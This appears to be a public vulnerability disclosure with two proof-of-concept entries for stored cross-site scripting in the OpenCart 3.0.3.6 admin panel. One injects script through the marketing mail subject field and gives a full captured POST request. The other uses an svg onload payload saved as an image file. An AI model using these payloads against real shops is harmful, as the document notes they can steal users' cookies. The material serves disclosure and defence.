OpenCart 3.0.3.6 Cross Site Scripting

`# Exploit Title: OpenCart 3.0.3.6 - 'subject' Stored Cross-Site Scripting  
# Date: 24-11-2020  
# Exploit Author: Hemant Patidar (HemantSolo)  
# Vendor Homepage: https://www.opencart.com/  
# Software Link: https://www.opencart.com/index.php?route=cms/download  
# Version: 3.0.3.6  
# Tested on: Windows 10/Kali Linux  
  
Stored Cross-site scripting(XSS):  
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.  
  
Attack vector:  
This vulnerability can results attacker to inject the XSS payload in Subject field of the mail and each time any user will open that mail of the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.  
  
Vulnerable Parameters: Subject of mail.  
  
Steps-To-Reproduce:  
1. Go to the opencart admin page.  
2. Now go to the Marketing-Mail option.  
3. Put the below payload in subject field of the Mail  
: "<script>alert(123)</script>"  
5. Now click on send button.  
6. The XSS will be triggered.  
  
POST /admin/index.php?route=marketing/contact/send&user_token=hYt4UTixry8NDaXiuhXO5mzuahIcOIO5 HTTP/1.1  
Host: localhost  
Connection: close  
Content-Length: 206  
Accept: application/json, text/javascript, */*; q=0.01  
DNT: 1  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: localhost/admin/index.php?route=marketing/contact&user_token=hYt4UTixry8NDaXiuhXO5mzuahIcOIO5  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6  
Cookie: __cfduid=d6a6bab42bd30fb2b2e20cad3dd5a80ed1606187757;  
  
store_id=0&to=newsletter&customer_group_id=1&customers=&affiliates=&products=&subject=hemantsolo%22%2F%3E%3Cscript%3Ealert(123)%3C%2Fscript%3E&message=&=&=&=http%3A%2F%2F&=on&files=&=&=&=&=&file=&=&=&=_self  
  
  
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# Exploit Title: OpenCart 3.0.3.6 - 'Profile Image' Stored Cross Site Scripting (Authenticated)  
# Date: 24-11-2020  
# Exploit Author: Hemant Patidar (HemantSolo)  
# Vendor Homepage: https://www.opencart.com/  
# Software Link: https://www.opencart.com/index.php?route=cms/download  
# Version: 3.0.3.6  
# Tested on: Windows 10/Kali Linux  
  
Vulnerable Parameters: Profile Image.  
  
Steps-To-Reproduce:  
1. Go to the opencart admin page.  
  
2. Now go to the profile page.  
  
* Before the next step write this in notepad ""><svg onload=alert("XSS")>" and save it as an payload.png  
  
3. Now edit the image and uplaod the image as payload.png.  
  
4. The XSS will be triggered.  
  
  
`